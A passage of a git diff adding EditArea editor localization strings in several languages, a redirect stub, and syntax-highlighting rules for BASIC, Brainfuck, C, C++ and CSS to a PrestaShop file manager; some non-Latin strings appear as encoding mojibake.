", +not_found: "not found.", +occurrence_replaced: "occurences replaced.", +search_field_empty: "Search field empty", +restart_search_at_begin: "End of area reached. Restart at begin.", +move_popup: "flyt søgepopup", +font_size: "--Skriftstørrelse--", +go_to_line: "gå til linie", +go_to_line_prompt: "gÃ¥ til linienummer:", +undo: "fortryd", +redo: "gentag", +change_smooth_selection: "slå display funktioner til/fra (smartere display men mere CPU krævende)", +highlight: "slå syntax highlight til/fra", +reset_highlight: "nulstil highlight (hvis den er desynkroniseret fra teksten)", +help: "om", +save: "gem", +load: "hent", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Position", +total: "Total", +close_popup: "luk popup", +shortcuts: "Genveje", +add_tab: "tilføj tabulation til tekst", +remove_tab: "fjern tabulation fra tekst", +about_notice: "Husk: syntax highlight funktionen bør kun bruge til små tekster", +toggle: "Slå editor til / fra", +accesskey: "Accesskey", +tab: "Tab", +shift: "Skift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Processing...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/en.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/en.js new file mode 100755 index 0000000..3f84614 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/en.js @@ -0,0 +1,46 @@ +editAreaLoader.lang["en"]={ +new_document: "new empty document", +search_button: "search and replace", +search_command: "search next / open search area", +search: "search", +replace: "replace", +replace_command: "replace / open search area", +find_next: "find next", +replace_all: "replace all", +reg_exp: "regular expressions", +match_case: "match case", +not_found: "not found.", +occurrence_replaced: "occurences replaced.", +search_field_empty: "Search field empty", +restart_search_at_begin: "End of area reached. Restart at begin.", +move_popup: "move search popup", +font_size: "--Font size--", +go_to_line: "go to line", +go_to_line_prompt: "go to line number:", +undo: "undo", +redo: "redo", +change_smooth_selection: "enable/disable some display features (smarter display but more CPU charge)", +highlight: "toggle syntax highlight on/off", +reset_highlight: "reset highlight (if desyncronized from text)", +help: "about", +save: "save", +save_as: "save as", +load: "load", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Position", +total: "Total", +close_popup: "close popup", +shortcuts: "Shortcuts", +add_tab: "add tabulation to text", +remove_tab: "remove tabulation to text", +about_notice: "Notice: syntax highlight function is only for small text", +toggle: "Toggle editor", +accesskey: "Accesskey", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Processing...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/fr.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/fr.js new file mode 100755 index 0000000..aa1995a --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/fr.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["fr"]={ +new_document: "nouveau document (efface le contenu)", +search_button: "rechercher / remplacer", +search_command: "rechercher suivant / ouvrir la fenêtre de recherche", +search: "rechercher", +replace: "remplacer", +replace_command: "remplacer / ouvrir la fenêtre de recherche", +find_next: "rechercher", +replace_all: "tout remplacer", +reg_exp: "expr. régulière", +match_case: "respecter la casse", +not_found: "pas trouvé.", +occurrence_replaced: "remplacements éffectués.", +search_field_empty: "Le champ de recherche est vide.", +restart_search_at_begin: "Fin du texte atteint, poursuite au début.", +move_popup: "déplacer la fenêtre de recherche", +font_size: "--Taille police--", +go_to_line: "aller à la ligne", +go_to_line_prompt: "aller a la ligne numero:", +undo: "annuler", +redo: "refaire", +change_smooth_selection: "activer/désactiver des fonctions d'affichage (meilleur affichage mais plus de charge processeur)", +highlight: "activer/désactiver la coloration syntaxique", +reset_highlight: "réinitialiser la coloration syntaxique (si désyncronisée du texte)", +help: "à propos", +save: "sauvegarder", +load: "charger", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Position", +total: "Total", +close_popup: "fermer le popup", +shortcuts: "Racourcis clavier", +add_tab: "ajouter une tabulation dans le texte", +remove_tab: "retirer une tabulation dans le texte", +about_notice: "Note: la coloration syntaxique n'est prévue que pour de courts textes.", +toggle: "basculer l'éditeur", +accesskey: "Accesskey", +tab: "Tab", +shift: "Maj", +ctrl: "Ctrl", +esc: "Esc", +processing: "chargement...", +fullscreen: "plein écran" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/hr.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/hr.js new file mode 100755 index 0000000..7ea4df8 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/hr.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["hr"]={ +new_document: "Novi dokument", +search_button: "Traži i izmijeni", +search_command: "Traži dalje / Otvori prozor za traženje", +search: "Traži", +replace: "Izmijeni", +replace_command: "Izmijeni / Otvori prozor za traženje", +find_next: "Traži dalje", +replace_all: "Izmjeni sve", +reg_exp: "Regularni izrazi", +match_case: "Bitna vel. slova", +not_found: "nije naðeno.", +occurrence_replaced: "izmjenjenih.", +search_field_empty: "Prazno polje za traženje!", +restart_search_at_begin: "DoÅ¡ao do kraja. Poèeo od poèetka.", +move_popup: "Pomakni prozor", +font_size: "--Velièina teksta--", +go_to_line: "Odi na redak", +go_to_line_prompt: "Odi na redak:", +undo: "Vrati natrag", +redo: "Napravi ponovo", +change_smooth_selection: "Ukljuèi/iskljuèi neke moguænosti prikaza (pametniji prikaz, ali zaguÅ¡eniji CPU)", +highlight: "Ukljuèi/iskljuèi bojanje sintakse", +reset_highlight: "Ponovi kolorizaciju (ako je nesinkronizirana s tekstom)", +help: "O edit_area", +save: "Spremi", +load: "Uèitaj", +line_abbr: "Ln", +char_abbr: "Zn", +position: "Pozicija", +total: "Ukupno", +close_popup: "Zatvori prozor", +shortcuts: "Kratice", +add_tab: "Dodaj tabulaciju", +remove_tab: "Makni tabulaciju", +about_notice: "Napomena: koloriziranje sintakse je samo za kratke kodove", +toggle: "Prebaci naèin ureðivanja", +accesskey: "Accesskey", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Procesiram...", +fullscreen: "Cijeli prozor" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/index.php b/BO/ajaxfilemanager/jscripts/edit_area/langs/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/it.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/it.js new file mode 100755 index 0000000..90f0b00 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/it.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["it"]={ +new_document: "nuovo documento vuoto", +search_button: "cerca e sostituisci", +search_command: "trova successivo / apri finestra di ricerca", +search: "cerca", +replace: "sostituisci", +replace_command: "sostituisci / apri finestra di ricerca", +find_next: "trova successivo", +replace_all: "sostituisci tutti", +reg_exp: "espressioni regolari", +match_case: "confronta maiuscole/minuscole
", +not_found: "non trovato.", +occurrence_replaced: "occorrenze sostituite.", +search_field_empty: "Campo ricerca vuoto", +restart_search_at_begin: "Fine del testo raggiunta. Ricomincio dall'inizio.", +move_popup: "sposta popup di ricerca", +font_size: "-- Dimensione --", +go_to_line: "vai alla linea", +go_to_line_prompt: "vai alla linea numero:", +undo: "annulla", +redo: "ripeti", +change_smooth_selection: "abilita/disabilita alcune caratteristiche della visualizzazione", +highlight: "abilita/disabilita colorazione della sintassi", +reset_highlight: "aggiorna colorazione (se non sincronizzata)", +help: "informazioni su...", +save: "salva", +load: "carica", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Posizione", +total: "Totale", +close_popup: "chiudi popup", +shortcuts: "Scorciatoie", +add_tab: "aggiungi tabulazione", +remove_tab: "rimuovi tabulazione", +about_notice: "Avviso: la colorazione della sintassi vale solo con testo piccolo", +toggle: "Abilita/disabilita editor", +accesskey: "Accesskey", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "In corso...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/ja.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/ja.js new file mode 100755 index 0000000..2ae0caa --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/ja.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["ja"]={ +new_document: "æ–°è¦ä½œæˆ", +search_button: "検索・置æ›", +search_command: "次を検索 / 検索窓を表示", +search: "検索", +replace: "ç½®æ›", +replace_command: "ç½®æ› / ç½®æ›çª“を表示", +find_next: "次を検索", +replace_all: "全置æ›", +reg_exp: "æ­£è¦è¡¨ç¾", +match_case: "大文字å°æ–‡å­—ã®åŒºåˆ¥", +not_found: "見ã¤ã‹ã‚Šã¾ã›ã‚“。", +occurrence_replaced: "ç½®æ›ã—ã¾ã—ãŸã€‚", +search_field_empty: "検索対象文字列ãŒç©ºã§ã™ã€‚", +restart_search_at_begin: "終端ã«é”ã—ã¾ã—ãŸã€å§‹ã‚ã«æˆ»ã‚Šã¾ã™", +move_popup: "検索窓を移動", +font_size: "--フォントサイズ--", +go_to_line: "指定行ã¸ç§»å‹•", +go_to_line_prompt: "指定行ã¸ç§»å‹•ã—ã¾ã™:", +undo: "å…ƒã«æˆ»ã™", +redo: "ã‚„ã‚Šç›´ã—", +change_smooth_selection: "スムース表示ã®åˆ‡ã‚Šæ›¿ãˆï¼ˆCPUを使ã„ã¾ã™ï¼‰", +highlight: "構文強調表示ã®åˆ‡ã‚Šæ›¿ãˆ", +reset_highlight: "構文強調表示ã®ãƒªã‚»ãƒƒãƒˆ", +help: "ヘルプを表示", +save: "ä¿å­˜", +load: "読ã¿è¾¼ã¿", +line_abbr: "è¡Œ", +char_abbr: "文字", +position: "ä½ç½®", +total: "åˆè¨ˆ", +close_popup: "ãƒãƒƒãƒ—アップを閉ã˜ã‚‹", +shortcuts: "ショートカット", +add_tab: "タブを挿入ã™ã‚‹", +remove_tab: "タブを削除ã™ã‚‹", +about_notice: "注æ„:構文強調表示ã¯çŸ­ã„テキストã§ã—ã‹æœ‰åŠ¹ã«æ©Ÿèƒ½ã—ã¾ã›ã‚“。", +toggle: "テキストエリアã¨editAreaã®åˆ‡ã‚Šæ›¿ãˆ", +accesskey: "アクセスキー", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "処ç†ä¸­ã§ã™...", +fullscreen: "fullscreen" +}; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/nl.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/nl.js new file mode 100755 index 0000000..b768481 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/nl.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["nl"]={ +new_document: "nieuw leeg document", +search_button: "zoek en vervang", +search_command: "zoek volgende / zoekscherm openen", +search: "zoek", +replace: "vervang", +replace_command: "vervang / zoekscherm openen", +find_next: "volgende vinden", +replace_all: "alles vervangen", +reg_exp: "reguliere expressies", +match_case: "hoofdletter gevoelig", +not_found: "niet gevonden.", +occurrence_replaced: "object vervangen.", +search_field_empty: "Zoek veld leeg", +restart_search_at_begin: "Niet meer instanties gevonden, begin opnieuw", +move_popup: "versleep zoek scherm", +font_size: "--Letter grootte--", +go_to_line: "Ga naar regel", +go_to_line_prompt: "Ga naar regel nummer:", +undo: "Ongedaan maken", +redo: "Opnieuw doen", +change_smooth_selection: "zet wat schermopties aan/uit (kan langzamer zijn)", +highlight: "zet syntax highlight aan/uit", +reset_highlight: "reset highlight (indien gedesynchronizeerd)", +help: "informatie", +save: "opslaan", +load: "laden", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Positie", +total: "Totaal", +close_popup: "Popup sluiten", +shortcuts: "Snelkoppelingen", +add_tab: "voeg tabs toe in tekst", +remove_tab: "verwijder tabs uit tekst", +about_notice: "Notitie: syntax highlight functie is alleen voor kleine tekst", +toggle: "geavanceerde bewerkingsopties", +accesskey: "Accessknop", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Verwerken...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/pl.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/pl.js new file mode 100755 index 0000000..a403dad --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/pl.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["pl"]={ +new_document: "nowy dokument", +search_button: "znajdź i zamieÅ„", +search_command: "znajdź nastÄ™pny", +search: "znajdź", +replace: "zamieÅ„", +replace_command: "zamieÅ„", +find_next: "nastÄ™pny", +replace_all: "zamieÅ„ wszystko", +reg_exp: "wyrażenie regularne", +match_case: "uwzglÄ™dnij wielkość liter
", +not_found: "nie znaleziono.", +occurrence_replaced: "wystÄ…pieÅ„ zamieniono.", +search_field_empty: "Nie wprowadzono tekstu", +restart_search_at_begin: "Koniec dokumentu. Wyszukiwanie od poczÄ…tku.", +move_popup: "przesuÅ„ okienko wyszukiwania", +font_size: "Rozmiar", +go_to_line: "idź do linii", +go_to_line_prompt: "numer linii:", +undo: "cofnij", +redo: "przywróć", +change_smooth_selection: "wÅ‚Ä…cz/wyÅ‚Ä…cz niektóre opcje wyglÄ…du (zaawansowane opcje wyglÄ…du obciążajÄ… procesor)", +highlight: "wÅ‚Ä…cz/wyÅ‚Ä…cz podÅ›wietlanie skÅ‚adni", +reset_highlight: "odÅ›wież podÅ›wietlanie skÅ‚adni (jeÅ›li rozsynchronizowaÅ‚o siÄ™ z tekstem)", +help: "o programie", +save: "zapisz", +load: "otwórz", +line_abbr: "Ln", +char_abbr: "Zn", +position: "Pozycja", +total: "W sumie", +close_popup: "zamknij okienko", +shortcuts: "Skróty klawiaturowe", +add_tab: "dodaj wciÄ™cie do zaznaczonego tekstu", +remove_tab: "usuÅ„ wciÄ™cie", +about_notice: "Uwaga: podÅ›wietlanie skÅ‚adni nie jest zalecane dla dÅ‚ugich tekstów", +toggle: "WÅ‚Ä…cz/wyÅ‚Ä…cz edytor", +accesskey: "Alt+", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Przetwarzanie...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/pt.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/pt.js new file mode 100755 index 0000000..3ffad33 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/pt.js @@ -0,0 +1,45 @@ +editAreaLoader.lang["pt"]={ +new_document: "Novo documento", +search_button: "Localizar e substituir", +search_command: "Localizar próximo", +search: "Localizar", +replace: "Substituir", +replace_command: "Substituir", +find_next: "Localizar", +replace_all: "Subst. tudo", +reg_exp: "Expressões regulares", +match_case: "Diferenciar maiúsculas e minúsculas", +not_found: "Não encontrado.", +occurrence_replaced: "Ocorrências substituidas", +search_field_empty: "Campo localizar vazio.", +restart_search_at_begin: "Fim das ocorrências. Recomeçar do inicio.", +move_popup: "Mover janela", +font_size: "--Tamanho da fonte--", +go_to_line: "Ir para linha", +go_to_line_prompt: "Ir para a linha:", +undo: "Desfazer", +redo: "Refazer", +change_smooth_selection: "Opções visuais", +highlight: "Cores de sintaxe", +reset_highlight: "Resetar cores (se não sincronizado)", +help: "Sobre", +save: "Salvar", +load: "Carregar", +line_abbr: "Ln", +char_abbr: "Ch", +position: "Posição", +total: "Total", +close_popup: "Fechar", +shortcuts: "Shortcuts", +add_tab: "Adicionar tabulação", +remove_tab: "Remover tabulação", +about_notice: "Atenção: Cores de sintaxe são indicados somente para textos pequenos", +toggle: "Exibir editor", +accesskey: "Accesskey", +tab: "Tab", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "Processando...", +fullscreen: "fullscreen" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/langs/zh_cn.js b/BO/ajaxfilemanager/jscripts/edit_area/langs/zh_cn.js new file mode 100755 index 0000000..055eabb --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/langs/zh_cn.js @@ -0,0 +1,46 @@ +editAreaLoader.lang["zh_cn"]={ +new_document: "н¨Îļþ", +search_button: "²éÕÒÓëÌæ»»", +search_command: "вéÕÒ/´ò¿ª²éÕÒ¿ò", +search: "²éÕÒ", +replace: "Ìæ»»", +replace_command: "Ìæ»»/´ò¿ª²éÕÒ¿ò", +find_next: "²éÕÒÏÂÒ»¸ö", +replace_all: "Ì滻ȫ²¿", +reg_exp: "ÕýÔò±í´ïʽ", +match_case: "´óСдÇø·Ö", +not_found: "ÎÞÆ¥Åä.", +occurrence_replaced: "±»Ìæ»»´ÎÊý.", +search_field_empty: "²éÕҹؼü´ÊΪ¿Õ", +restart_search_at_begin: "ÒÑ´ïÎÄ×Ö¿òµ×£¬ÖØпªÊ¼.", +move_popup: "Òƶ¯²éÕÒ´°¿Ú", +font_size: "--ÎÄ×Ö´óС--", +go_to_line: "Ö¸¶¨ÐÐÊý", +go_to_line_prompt: "Òƶ¯µ½Ö¸¶¨ÐÐÊý:", +undo: "ÉÏÒ»²½", +redo: "ÏÂÒ»²½", +change_smooth_selection: "¼¤»î/½ûֹijЩÏÔʾÌØЧ", +highlight: "´úÂë¸ßÁÁ¿ª¹Ø", +reset_highlight: "ÖØÉè´úÂë¸ßÁÁ", +help: "¹ØÓÚ", +save: "±£´æ", +save_as: "±ð´æΪ", +load: "¼ÓÔØ", +line_abbr: "ÐÐÊý", +char_abbr: "×Ö½Ú", +position: "λÖÃ", +total: "×ܹ²", +close_popup: "¹Ø±Õ´°¿Ú", +shortcuts: "¿ì½Ý¼ü", +add_tab: "Ìí¼Ó¼ä¸ôºÅ", +remove_tab: "ɾ³ý¼ä¸ôºÅ", +about_notice: "Ìáʾ£º´úÂë¸ß¶È¹¦ÄÜÖ»ÊÊÓÃÓÚСÎĵµ", +toggle: "ת»»±à¼­", +accesskey: "¿É·ÃÎʼü", +tab: "¼ä¸ôºÅ", +shift: "Shift", +ctrl: "Ctrl", +esc: "Esc", +processing: "´¦ÀíÖÐ...", +fullscreen: "È«ÆÁ" +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/basic.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/basic.js new file mode 100755 index 0000000..8a5849c --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/basic.js @@ -0,0 +1,69 @@ +editAreaLoader.load_syntax["basic"] = { + 'COMMENT_SINGLE' : {1 : "'", 2 : 'rem'} + ,'COMMENT_MULTI' : { } + ,'QUOTEMARKS' : {1: '"'} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + 'statements' : [ + 'if','then','for','wend','while', + 'else','elseif','select','case','end select', + 'until','next','step','to','end if', 'call' + ] + ,'keywords' : [ + 'sub', 'end sub', 'function', 'end function', 'exit', + 'exit function', 'dim', 'redim', 'shared', 'const', + 'is', 'absolute', 'access', 'any', 'append', 'as', + 'base', 'beep', 'binary', 'bload', 'bsave', 'chain', + 'chdir', 'circle', 'clear', 'close', 'cls', 'color', + 'com', 'common', 'data', 'date', 'declare', 'def', + 'defdbl', 'defint', 'deflng', 'defsng', 'defstr', + 'double', 'draw', 'environ', 'erase', 'error', 'field', + 'files', 'fn', 'get', 'gosub', 'goto', 'integer', 'key', + 'kill', 'let', 'line', 'list', 'locate', 'lock', 'long', + 'lprint', 'lset', 'mkdir', 'name', 'off', 'on', 'open', + 'option', 'out', 'output', 'paint', 'palette', 'pcopy', + 'poke', 'preset', 'print', 'pset', 'put', 'random', + 'randomize', 'read', 'reset', 'restore', 'resume', + 'return', 'rmdir', 'rset', 'run', 'screen', 'seg', + 'shell', 'single', 'sleep', 'sound', 'static', 'stop', + 'strig', 'string', 'swap', 'system', 'time', 'timer', + 'troff', 'tron', 'type', 'unlock', 'using', 'view', + 'wait', 'width', 'window', 'write' + ] + ,'functions' : [ + 'abs', 'asc', 'atn', 'cdbl', 'chr', 'cint', 'clng', + 'cos', 'csng', 'csrlin', 'cvd', 'cvdmbf', 'cvi', 'cvl', + 'cvs', 'cvsmbf', 'eof', 'erdev', 'erl', 'err', 'exp', + 'fileattr', 'fix', 'fre', 'freefile', 'hex', 'inkey', + 'inp', 'input', 'instr', 'int', 'ioctl', 'lbound', + 'lcase', 'left', 'len', 'loc', 'lof', 'log', 'lpos', + 'ltrim', 'mid', 'mkd', 'mkdmbf', 'mki', 'mkl', 'mks', + 'mksmbf', 'oct', 'peek', 'pen', 'play', 'pmap', 'point', + 'pos', 'right', 'rnd', 'rtrim', 'seek', 'sgn', 'sin', + 'space', 'spc', 'sqr', 'stick', 'str', 'tab', 'tan', + 'ubound', 'ucase', 'val', 'varptr', 'varseg' + ] + ,'operators' : [ + 'and', 'eqv', 'imp', 'mod', 'not', 'or', 'xor' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '!', '&' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #99CC00;' + ,'QUOTESMARKS': 'color: #333399;' + ,'KEYWORDS' : { + 'keywords' : 'color: #3366FF;' + ,'functions' : 'color: #0000FF;' + ,'statements' : 'color: #3366FF;' + ,'operators' : 'color: #FF0000;' + } + ,'OPERATORS' : 'color: #FF0000;' + ,'DELIMITERS' : 'color: #0000FF;' + + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/brainfuck.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/brainfuck.js new file mode 100755 index 0000000..3625f70 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/brainfuck.js @@ -0,0 +1,44 @@ +editAreaLoader.load_syntax["brainfuck"] = { + 'COMMENT_SINGLE' : {} + ,'COMMENT_MULTI' : {} + ,'QUOTEMARKS' : {} + ,'KEYWORD_CASE_SENSITIVE' : true + ,'OPERATORS' :[ + '+', '-' + ] + ,'DELIMITERS' :[ + '[', ']' + ] + ,'REGEXPS' : { + 'bfispis' : { + 'search' : '()(\\.)()' + ,'class' : 'bfispis' + ,'modifiers' : 'g' + ,'execute' : 'before' + } + ,'bfupis' : { + 'search' : '()(\\,)()' + ,'class' : 'bfupis' + ,'modifiers' : 'g' + ,'execute' : 'before' + } + ,'bfmemory' : { + 'search' : '()([<>])()' + ,'class' : 'bfmemory' + ,'modifiers' : 'g' + ,'execute' : 'before' + } + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'OPERATORS' : 'color: #88AA00;' + ,'DELIMITERS' : 'color: #00C138;' + ,'REGEXPS' : { + 'bfispis' : 'color: #EE0000;' + ,'bfupis' : 'color: #4455ee;' + ,'bfmemory' : 'color: #DD00DD;' + } + } +}; + diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/c.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/c.js new file mode 100755 index 0000000..d4e5771 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/c.js @@ -0,0 +1,62 @@ +editAreaLoader.load_syntax["c"] = { + 'COMMENT_SINGLE' : {1 : '//'} + ,'COMMENT_MULTI' : {'/*' : '*/'} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : true + ,'KEYWORDS' : { + 'constants' : [ + 'NULL', 'false', 'stdin', 'stdout', 'stderr', 'true' + ] + ,'types' : [ + 'FILE', 'auto', 'char', 'const', 'double', + 'extern', 'float', 'inline', 'int', 'long', 'register', + 'short', 'signed', 'size_t', 'static', 'struct', + 'time_t', 'typedef', 'union', 'unsigned', 'void', + 'volatile' + ] + ,'statements' : [ + 'do', 'else', 'enum', 'for', 'goto', 'if', 'sizeof', + 'switch', 'while' + ] + ,'keywords' : [ + 'break', 'case', 'continue', 'default', 'delete', + 'return' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '%', '!', '?', ':', '&' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'REGEXPS' : { + 'precompiler' : { + 'search' : '()(#[^\r\n]*)()' + ,'class' : 'precompiler' + ,'modifiers' : 'g' + ,'execute' : 'before' + } +/* ,'precompilerstring' : { + 'search' : '(#[\t ]*include[\t ]*)([^\r\n]*)([^\r\n]*[\r\n])' + ,'class' : 'precompilerstring' + ,'modifiers' : 'g' + ,'execute' : 'before' + }*/ + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + 'constants' : 'color: #EE0000;' + ,'types' : 'color: #0000EE;' + ,'statements' : 'color: #60CA00;' + ,'keywords' : 'color: #48BDDF;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #0038E1;' + ,'REGEXPS' : { + 'precompiler' : 'color: #009900;' + ,'precompilerstring' : 'color: #994400;' + } + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/cpp.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/cpp.js new file mode 100755 index 0000000..e5e2be0 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/cpp.js @@ -0,0 +1,65 @@ +editAreaLoader.load_syntax["cpp"] = { + 'COMMENT_SINGLE' : {1 : '//'} + ,'COMMENT_MULTI' : {'/*' : '*/'} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : true + ,'KEYWORDS' : { + 'constants' : [ + 'NULL', 'false', 'std', 'stdin', 'stdout', 'stderr', + 'true' + ] + ,'types' : [ + 'FILE', 'auto', 'char', 'class', 'const', 'double', + 'extern', 'float', 'friend', 'inline', 'int', + 'iterator', 'long', 'map', 'operator', 'queue', + 'register', 'short', 'signed', 'size_t', 'stack', + 'static', 'string', 'struct', 'time_t', 'typedef', + 'union', 'unsigned', 'vector', 'void', 'volatile' + ] + ,'statements' : [ + 'catch', 'do', 'else', 'enum', 'for', 'goto', 'if', + 'sizeof', 'switch', 'this', 'throw', 'try', 'while' + ] + ,'keywords' : [ + 'break', 'case', 'continue', 'default', 'delete', + 'namespace', 'new', 'private', 'protected', 'public', + 'return', 'using' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '%', '!', '?', ':', '&' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'REGEXPS' : { + 'precompiler' : { + 'search' : '()(#[^\r\n]*)()' + ,'class' : 'precompiler' + ,'modifiers' : 'g' + ,'execute' : 'before' + } +/* ,'precompilerstring' : { + 'search' : '(#[\t ]*include[\t ]*)([^\r\n]*)([^\r\n]*[\r\n])' + ,'class' : 'precompilerstring' + ,'modifiers' : 'g' + ,'execute' : 'before' + }*/ + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + 'constants' : 'color: #EE0000;' + ,'types' : 'color: #0000EE;' + ,'statements' : 'color: #60CA00;' + ,'keywords' : 'color: #48BDDF;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #0038E1;' + ,'REGEXPS' : { + 'precompiler' : 'color: #009900;' + ,'precompilerstring' : 'color: #994400;' + } + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/css.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/css.js new file mode 100755 index 0000000..b8131cc --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/css.js @@ -0,0 +1,84 @@ +editAreaLoader.load_syntax["css"] = { + 'COMMENT_SINGLE' : {1 : '@'} + ,'COMMENT_MULTI' : {'/*' : '*/'} + ,'QUOTEMARKS' : ['"', "'"] + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + 'attributes' : [ + 'aqua', 'azimuth', 'background-attachment', 'background-color', + 'background-image', 'background-position', 'background-repeat', + 'background', 'border-bottom-color', 'border-bottom-style', + 'border-bottom-width', 'border-left-color', 'border-left-style', + 'border-left-width', 'border-right', 'border-right-color', + 'border-right-style', 'border-right-width', 'border-top-color', + 'border-top-style', 'border-top-width','border-bottom', 'border-collapse', + 'border-left', 'border-width', 'border-color', 'border-spacing', + 'border-style', 'border-top', 'border', 'caption-side', + 'clear', 'clip', 'color', 'content', 'counter-increment', 'counter-reset', + 'cue-after', 'cue-before', 'cue', 'cursor', 'direction', 'display', + 'elevation', 'empty-cells', 'float', 'font-family', 'font-size', + 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', + 'font-weight', 'font', 'height', 'letter-spacing', 'line-height', + 'list-style', 'list-style-image', 'list-style-position', 'list-style-type', + 'margin-bottom', 'margin-left', 'margin-right', 'margin-top', 'margin', + 'marker-offset', 'marks', 'max-height', 'max-width', 'min-height', + 'min-width', 'opacity', 'orphans', 'outline', 'outline-color', 'outline-style', + 'outline-width', 'overflow', 'padding-bottom', 'padding-left', + 'padding-right', 'padding-top', 